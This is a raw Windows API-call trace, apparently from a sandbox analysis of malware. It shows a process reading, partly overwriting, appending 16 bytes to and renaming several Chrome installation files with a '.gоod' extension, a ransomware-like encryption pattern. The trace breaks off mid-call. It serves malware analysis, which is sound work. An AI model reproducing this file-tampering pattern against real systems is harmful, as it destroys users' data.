[0091.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0091.208] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\icudtl.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0091.208] GetFileType (hFile=0x7b0) returned 0x1 [0091.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0091.208] GetFileType (hFile=0x7b0) returned 0x1 [0091.208] ReadFile (in: hFile=0x7b0, lpBuffer=0x34e67f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbec4d8, lpOverlapped=0x0 | out: lpBuffer=0x34e67f0*, lpNumberOfBytesRead=0x1fbec4d8*=0x1000, lpOverlapped=0x0) returned 1 [0091.237] CloseHandle (hObject=0x7b0) returned 1 [0091.237] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat", lpFilePart=0x0) returned 0x48 [0091.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0091.237] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\icudtl.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0091.237] GetFileType (hFile=0x7b0) returned 0x1 [0091.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0091.238] GetFileType (hFile=0x7b0) returned 0x1 [0091.238] WriteFile (in: hFile=0x7b0, lpBuffer=0x34e5548*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbec588, lpOverlapped=0x0 | out: lpBuffer=0x34e5548*, lpNumberOfBytesWritten=0x1fbec588*=0x1010, lpOverlapped=0x0) returned 1 [0091.238] CloseHandle (hObject=0x7b0) returned 1 [0091.238] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat", nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat", lpFilePart=0x0) returned 0x48 [0091.238] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat.gоod", lpFilePart=0x0) returned 0x4d [0091.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec4c0) returned 1 [0091.238] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\icudtl.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fbec5a0 | out: lpFileInformation=0x1fbec5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29aac04, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29aac04, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x329799e3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9b9840)) returned 1 [0091.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec480) returned 1 [0091.238] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\icudtl.dat"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\icudtl.dat.gоod")) returned 1 [0091.239] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin", nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin", lpFilePart=0x0) returned 0x4e [0091.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec500) returned 1 [0091.239] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\natives_blob.bin"), fInfoLevelId=0x0, lpFileInformation=0x3563da0 | out: lpFileInformation=0x3563da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4647067, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4647067, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x516566d4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x36315)) returned 1 [0091.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec4c0) returned 1 [0091.571] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin", lpFilePart=0x0) returned 0x4e [0091.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0091.571] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\natives_blob.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0091.573] GetFileType (hFile=0x7b0) returned 0x1 [0091.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0091.605] GetFileType (hFile=0x7b0) returned 0x1 [0091.605] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbec558*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbec558*=0) returned 0x1000 [0091.605] ReadFile (in: hFile=0x7b0, lpBuffer=0x343b698, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbec528, lpOverlapped=0x0 | out: lpBuffer=0x343b698*, lpNumberOfBytesRead=0x1fbec528*=0x1000, lpOverlapped=0x0) returned 1 [0091.606] CloseHandle (hObject=0x7b0) returned 1 [0091.606] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin", lpFilePart=0x0) returned 0x4e [0091.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0091.607] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\natives_blob.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0091.607] GetFileType (hFile=0x7b0) returned 0x1 [0091.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0091.607] GetFileType (hFile=0x7b0) returned 0x1 [0091.607] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbec558*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbec558*=0) returned 0x36315 [0091.607] WriteFile (in: hFile=0x7b0, lpBuffer=0x343c948*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbec448, lpOverlapped=0x0 | out: lpBuffer=0x343c948*, lpNumberOfBytesWritten=0x1fbec448*=0x10, lpOverlapped=0x0) returned 1 [0091.608] CloseHandle (hObject=0x7b0) returned 1 [0091.608] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin", lpFilePart=0x0) returned 0x4e [0091.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0091.608] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\natives_blob.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0091.608] GetFileType (hFile=0x7b0) returned 0x1 [0091.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0091.608] GetFileType (hFile=0x7b0) returned 0x1 [0091.608] ReadFile (in: hFile=0x7b0, lpBuffer=0x343ec20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbec4d8, lpOverlapped=0x0 | out: lpBuffer=0x343ec20*, lpNumberOfBytesRead=0x1fbec4d8*=0x1000, lpOverlapped=0x0) returned 1 [0091.639] CloseHandle (hObject=0x7b0) returned 1 [0091.639] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin", lpFilePart=0x0) returned 0x4e [0091.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0091.639] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\natives_blob.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0091.639] GetFileType (hFile=0x7b0) returned 0x1 [0091.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0091.640] GetFileType (hFile=0x7b0) returned 0x1 [0091.640] WriteFile (in: hFile=0x7b0, lpBuffer=0x343d960*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbec588, lpOverlapped=0x0 | out: lpBuffer=0x343d960*, lpNumberOfBytesWritten=0x1fbec588*=0x1010, lpOverlapped=0x0) returned 1 [0091.640] CloseHandle (hObject=0x7b0) returned 1 [0091.640] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin", nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin", lpFilePart=0x0) returned 0x4e [0091.640] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin.gоod", nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin.gоod", lpFilePart=0x0) returned 0x53 [0091.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec4c0) returned 1 [0091.640] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\natives_blob.bin"), fInfoLevelId=0x0, lpFileInformation=0x1fbec5a0 | out: lpFileInformation=0x1fbec5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4647067, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4647067, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x32d596f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x36325)) returned 1 [0091.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec480) returned 1 [0091.641] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\natives_blob.bin"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\natives_blob.bin.gоod")) returned 1 [0091.641] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak", nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak", lpFilePart=0x0) returned 0x4b [0091.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec500) returned 1 [0091.642] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\resources.pak"), fInfoLevelId=0x0, lpFileInformation=0x34bc098 | out: lpFileInformation=0x34bc098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46b976b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46b976b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x516fa004, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xd37e32)) returned 1 [0091.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec4c0) returned 1 [0091.946] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak", lpFilePart=0x0) returned 0x4b [0091.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0091.946] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\resources.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0091.947] GetFileType (hFile=0x79c) returned 0x1 [0091.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0091.947] GetFileType (hFile=0x79c) returned 0x1 [0091.947] SetFilePointer (in: hFile=0x79c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbec558*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbec558*=0) returned 0x1000 [0091.947] ReadFile (in: hFile=0x79c, lpBuffer=0x34f30e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbec528, lpOverlapped=0x0 | out: lpBuffer=0x34f30e0*, lpNumberOfBytesRead=0x1fbec528*=0x1000, lpOverlapped=0x0) returned 1 [0091.949] CloseHandle (hObject=0x79c) returned 1 [0091.949] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak", lpFilePart=0x0) returned 0x4b [0091.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0091.949] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\resources.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0091.949] GetFileType (hFile=0x79c) returned 0x1 [0091.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0091.949] GetFileType (hFile=0x79c) returned 0x1 [0091.949] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbec558*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbec558*=0) returned 0xd37e32 [0091.949] WriteFile (in: hFile=0x79c, lpBuffer=0x34f4588*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbec448, lpOverlapped=0x0 | out: lpBuffer=0x34f4588*, lpNumberOfBytesWritten=0x1fbec448*=0x10, lpOverlapped=0x0) returned 1 [0091.951] CloseHandle (hObject=0x79c) returned 1 [0091.951] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak", lpFilePart=0x0) returned 0x4b [0091.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0091.952] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\resources.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0091.952] GetFileType (hFile=0x79c) returned 0x1 [0091.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0091.952] GetFileType (hFile=0x79c) returned 0x1 [0091.952] ReadFile (in: hFile=0x79c, lpBuffer=0x34f7e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbec4d8, lpOverlapped=0x0 | out: lpBuffer=0x34f7e78*, lpNumberOfBytesRead=0x1fbec4d8*=0x1000, lpOverlapped=0x0) returned 1 [0092.519] CloseHandle (hObject=0x79c) returned 1 [0092.519] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak", lpFilePart=0x0) returned 0x4b [0092.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0092.519] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\resources.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0092.519] GetFileType (hFile=0x79c) returned 0x1 [0092.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0092.519] GetFileType (hFile=0x79c) returned 0x1 [0092.519] WriteFile (in: hFile=0x79c, lpBuffer=0x34f6bc8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbec588, lpOverlapped=0x0 | out: lpBuffer=0x34f6bc8*, lpNumberOfBytesWritten=0x1fbec588*=0x1010, lpOverlapped=0x0) returned 1 [0092.519] CloseHandle (hObject=0x79c) returned 1 [0092.519] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak", nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak", lpFilePart=0x0) returned 0x4b [0092.520] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak.gоod", lpFilePart=0x0) returned 0x50 [0092.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec4c0) returned 1 [0092.520] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\resources.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbec5a0 | out: lpFileInformation=0x1fbec5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46b976b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46b976b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x335b187c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd37e42)) returned 1 [0092.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec480) returned 1 [0092.520] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\resources.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\resources.pak.gоod")) returned 1 [0092.520] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin", nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin", lpFilePart=0x0) returned 0x4f [0092.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec500) returned 1 [0092.520] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\snapshot_blob.bin"), fInfoLevelId=0x0, lpFileInformation=0x3629180 | out: lpFileInformation=0x3629180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51701534, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x175b94)) returned 1 [0092.521] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec4c0) returned 1 [0092.521] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin", lpFilePart=0x0) returned 0x4f [0092.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0092.521] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\snapshot_blob.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0092.521] GetFileType (hFile=0x79c) returned 0x1 [0092.521] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0092.521] GetFileType (hFile=0x79c) returned 0x1 [0092.521] SetFilePointer (in: hFile=0x79c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbec558*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbec558*=0) returned 0x1000 [0092.521] ReadFile (in: hFile=0x79c, lpBuffer=0x36295c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbec528, lpOverlapped=0x0 | out: lpBuffer=0x36295c8*, lpNumberOfBytesRead=0x1fbec528*=0x1000, lpOverlapped=0x0) returned 1 [0092.526] CloseHandle (hObject=0x79c) returned 1 [0092.526] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin", lpFilePart=0x0) returned 0x4f [0092.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0092.527] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\snapshot_blob.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0092.527] GetFileType (hFile=0x79c) returned 0x1 [0092.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0092.527] GetFileType (hFile=0x79c) returned 0x1 [0092.527] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbec558*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbec558*=0) returned 0x175b94 [0092.527] WriteFile (in: hFile=0x79c, lpBuffer=0x362a878*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbec448, lpOverlapped=0x0 | out: lpBuffer=0x362a878*, lpNumberOfBytesWritten=0x1fbec448*=0x10, lpOverlapped=0x0) returned 1 [0092.537] CloseHandle (hObject=0x79c) returned 1 [0092.537] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin", nBufferLength=0x105, lpBuffer=0x1fbebee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin", lpFilePart=0x0) returned 0x4f [0092.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec400) returned 1 [0092.537] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\snapshot_blob.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0092.537] GetFileType (hFile=0x79c) returned 0x1 [0092.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec370) returned 1 [0092.538] GetFileType (hFile=0x79c) returned 0x1 [0092.538] ReadFile (in: hFile=0x79c, lpBuffer=0x362cb50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbec4d8, lpOverlapped=0x0 | out: 